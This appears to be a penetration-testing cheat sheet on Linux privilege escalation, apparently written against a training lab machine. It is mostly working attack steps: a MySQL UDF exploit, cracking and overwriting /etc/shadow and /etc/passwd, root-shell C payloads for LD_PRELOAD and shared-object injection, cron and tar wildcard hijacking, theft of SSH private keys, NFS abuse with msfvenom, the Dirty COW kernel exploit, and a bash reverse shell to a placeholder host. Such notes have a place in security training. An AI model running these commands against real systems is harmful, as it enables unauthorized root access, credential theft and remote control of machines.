Privilege Escalation
A number of concepts for vertical and horizontal escalation

Service Exploits
User Defined Function
Since the MySQL service is running as root and is accessible without a password, taking advantage of User Defined Functions (UDFs) will allow running system commands as root via the interactive service.
Steps to root include the following:
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
mysql -u root
use mysql;
create table foo(line blob);
insert into foo values(load_file('/path/to/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor/udf2.so;
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('cp /bin/bash /tmp/udfbash; chmod +xs /tmp/udfbash');
/tmp/udfbash -p
Weak File Permissions
Readable /etc/shadow
The /etc/shadow
file contains user password hashes and is usually readable only by root. If it is world-readable, it may be possible to crack the password to gain access. Shadow files can have a number of hashing algorithms depending on the OS and version, GNU/Linux is as follows:
$1$
is MD5$2a$
is Blowfish$2y$
is Blowfish$5$
is SHA-256$6$
is SHA-512
Steps to gain access:
cat /etc/shadow
john --wordlist=/usr/share/wordlists/rockyou.txt shadow
Writable /etc/shadow
If /etc/shadow is writable, then the password of any user can be overwritten by generating a new password using the command mkpasswd
and then replacing the original.
Steps to overwrite password:
mkpasswd -m sha-512 $NEWPASS
Change the shadow file to include the new password:
nano /etc/shadow
Writable /etc/passwd
If the /etc/passwd file is writable, then the placeholder for a password hash can be overwritten in some versions of Linux thus allowing access to other users.
Method 1
openssl passwd $NEWPASS
Password with salt: `openssl passwd -1 -salt $SALT $NEWPASS
Edit the x placeholder to be the new hash:
nano /etc/passwd
su root
Method 2
openssl passwd r00t
echo r00t:
0Wna/pt5B0TzM:0:0:r00t:/root:/bin/bash >> /etc/passwd
su r00t
Sudo
Shell Escape Sequences
List the programs which sudo allows your user to run:
sudo -l
Example Output:
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
User user may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
...
(root) NOPASSWD: /usr/sbin/apache2
(root) NOPASSWD: /bin/more
Use GTFOBins along with the "sudo" tag to see if the function can be used to elevate privileges, typically via an escape sequence.
Sometimes some functions may fail to use an escape sequence but can still be useful in gaining root privileges. The following is such an example:
The program apache2
is not listed in GTFOBins and does not have a shell escape sequence. However, it can be used to read root files like in the following example: sudo apache2 -f /etc/shadow
. The resulting output of this command would be an error including the first line of the shadow file which is typically the root's password information.
Environment Variables
Sudo can be configured to inherit environment variables from the user's environment. In the above scenario output, both LD_PRELOAD and LD_LIBRARY_PATH are inherited and can be used to escalate privileges along with one of the allowed commands.
LD_PRELOAD loads a shared object before any others when a program is run. LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.
Create shared objects using C code to get a privileged shell:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init()
{
unsetenv("LD_PRELOAD");
setresuid(0, 0, 0);
system("/bin/bash -p");
}
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so $CMD
Cron Jobs
A cron job is a Linux command used for scheduling tasks to be executed sometime in the future. Cron jobs exist in the /etc/crontab
file. An example looks like this:
user@debian:~$ cat /etc/crontab
# ...
SHELL=/bin/sh
PATH=/tmp:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12)
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7)
# | | | | |
# * * * * * user command to be executed
0 8 1 * * root run-parts /etc/cron.monthly
* * * * * root program.sh
* * * * * root /usr/local/bin/compress.sh
File Permissions
Sometimes there are cron jobs that are owned by root and run world-writable programs. When this happens, the file can be overwritten to run malicious code instead. Consider the above example file. There exists a program called program.sh
that is being run every minute. Find it using locate
or find
and then see if its writable:
locate program.sh
- or -find / -name program.sh 2>/dev/null
ls -l program.sh
If the contents of program.sh
can be replaced, it can be used to execute any command such as a reverse shell:
Bash reverse shell: /bin/bash -c 'bash -i >& /dev/tcp/$IP/$PORT 0>&1'
Then every minute, the cron job will attempt to execute the reverse shell rather than the intended program.
PATH Environment Variable
Another path for exploitation is the PATH
environment variable. A cron job will attempt to use any dependent files from the earlier paths if available. If there is a writable path that exists before the path where the actual executable exists, the execution can be hijacked.
Steps for hijacking include (uses above /etc/crontab
for example):
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash
Check the path to write new file to >
PATH=/tmp:/usr/local/sbin:...
touch /tmp/program.sh
(write the above file into it)chmod +x /tmp/program.sh
(wait for the cron job to execute)/tmp/rootbash -p
Wildcards
The sample cron job shows a call by root to /usr/local/bin/compress.sh
. Printing the file shows the following:
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *
The tar command is being run with a wildcard (*) in the user's home directory. The GTFOBins page for tar shows that it has command line options that let you run other commands as part of a checkpoint feature. Creating a reverse shell callback with an elf file or bash file can allow a root callback for privilege escalation along with the tar exploit listed:
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Create these two files in /home/user:
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=$CALLME
When the tar command in the cron job runs, the wildcard (*) will expand to include these files. Since their filenames are valid tar command line options, tar will recognize them as such and treat them as command line options rather than filenames. Depending on what callme
is, a root shell can be received within a minute.
SUID / SGID Executables
SUID (set user identification) is a special permission that allows other users to run with the owner's privileges. SGID (set group identification) is a special file permission that also applies to executable files and enables other users to inherit the effective GID of file group owner.
Find all the SUID/SGID executables with the following command:
Simple 1 > find / -perm -4000 2>/dev/null
Simple 2 > find / -user root -perm -u=s -type f 2>/dev/null
Verbose > find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
Shared Object Injection
Just like with sudo vulnerabilities, SUID binaries are vulnerable to a variety of similar exploits. Sometimes they can be exploited through shared object injection by looking for writable locations being used during runtime:
strace $BINARY 2>&1 | grep -iE "open|access|no such file"
Replace the missing or writable file with the following c code object:
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash -p");
}
Compile the code with the following command:
gcc -fPIC -shared -o /tmp/suid_so.so suid_so.c
Executing the binary now will make a call to the shared object and enter into a privileged shell.
Environment Variables
Sometimes, a SUID binary can be exploited due to it inheriting the user's PATH variable and attempting to execute programs without specifying an absolute path. Run strings on the file to look for strings of printable characters:
strings $BINARY
If there is a line like service apache2 start
, then the path can be pointed to malicious code because it is not absolute. Compile the following code into an executable called service. This code simply spawns a Bash shell:
int main() {
setuid(0);
system("/bin/bash -p");
}
gcc -o service service.c
Prepend the current directory (or where the new service executable is located) to the PATH variable, and run the binary to gain a root shell:
PATH=.:$PATH $BINARY
Abusing Shell Features
Verify the version of Bash installed is less than 4.2-048:
/bin/bash --version
Create a Bash function with the name of the binary (example is "/usr/sbin/service") that executes a new Bash shell (using -p so permissions are preserved) and export the function:
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service
Then all it takes is running the executable to gain a root shell.
Run the executable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/shellbash; chmod +xs /tmp/shellbash)' $BINARY
Run the /tmp/shellbash
executable with -p
to gain a shell running with root privileges:
/tmp/shellbash -p
Capabilities
Similar to SUID enabled binaries, system adminstators can also use "Capabilities" to increase the privilege level of a process. Capabilities help manage privileges at a more granular level. The tool getcap
can be used to list enabled capabilities as follows:
getcap -r / 2>/dev/null
The result may include results not found in the SUID bit search, but can still be used to escalate privilege. Once again, GTFOBins has a lot of known binaries that can be used to get root. One example is view
:
./view -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
This will execute a root shell using python3 (this needs to be :py
for Python 2).
SSH Keys
It's always a good idea to look for keys in hidden files or directories. Files like id_rsa
and root_key
tend to have private ssh keys that can be used to ssh into a remote machine. If they are world-readable files, they can be copied over and used.
Copy it over using scp
or by doing a manual copy/paste. Then give it the correct permissions to be accepted by the SSH client:
chmod 600 root_key
Use the key to login to remote machine (note that due to the age of the box, some additional settings are required when using SSH):
ssh -i root_key -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@$IP
NFS
Files created via NFS inherit the remote user's ID. If the user is root, and root squashing is enabled, the ID will instead be set to the "nobody" user. Check the NFS share configuration:
user@debian:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
#/tmp *(rw,sync,insecure,no_subtree_check)
Note that the /tmp share has root squashing disabled. On your attack box, switch to your root user if you are not already running as root. Create a mount point and mount the /tmp share:
mkdir /tmp/nfs
mount -o rw,vers=3 $IP:/tmp /tmp/nfs
Still using the attack box's root user, generate a payload using msfvenom and save it to the mounted share (this payload simply calls /bin/bash), then make it executable and set the SUID permission:
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
chmod +xs /tmp/nfs/shell.elf
Back on the remote box, as the low privileged user account, execute the file to gain a root shell:
/tmp/shell.elf
Kernel Exploits
Run the Linux Exploit Suggester 2 tool to identify potential kernel exploits on the current system:
perl linux-exploit-suggester-2.pl
One popular Linux kernel exploit "Dirty COW" replaces the SUID file /usr/bin/passwd with one that spawns a shell (a backup of /usr/bin/passwd is made at /tmp/bak).
One example of Dirty COW is c0w.c
which gives the user root by injecting shellcode into a SUID file using PTRACE_POKEDATA . Compile the code and run it (note that it may take several minutes to complete):
gcc -pthread c0w.c -o c0w
./c0w
Once the exploit completes, run /usr/bin/passwd to gain a root shell:
/usr/bin/passwd
Last updated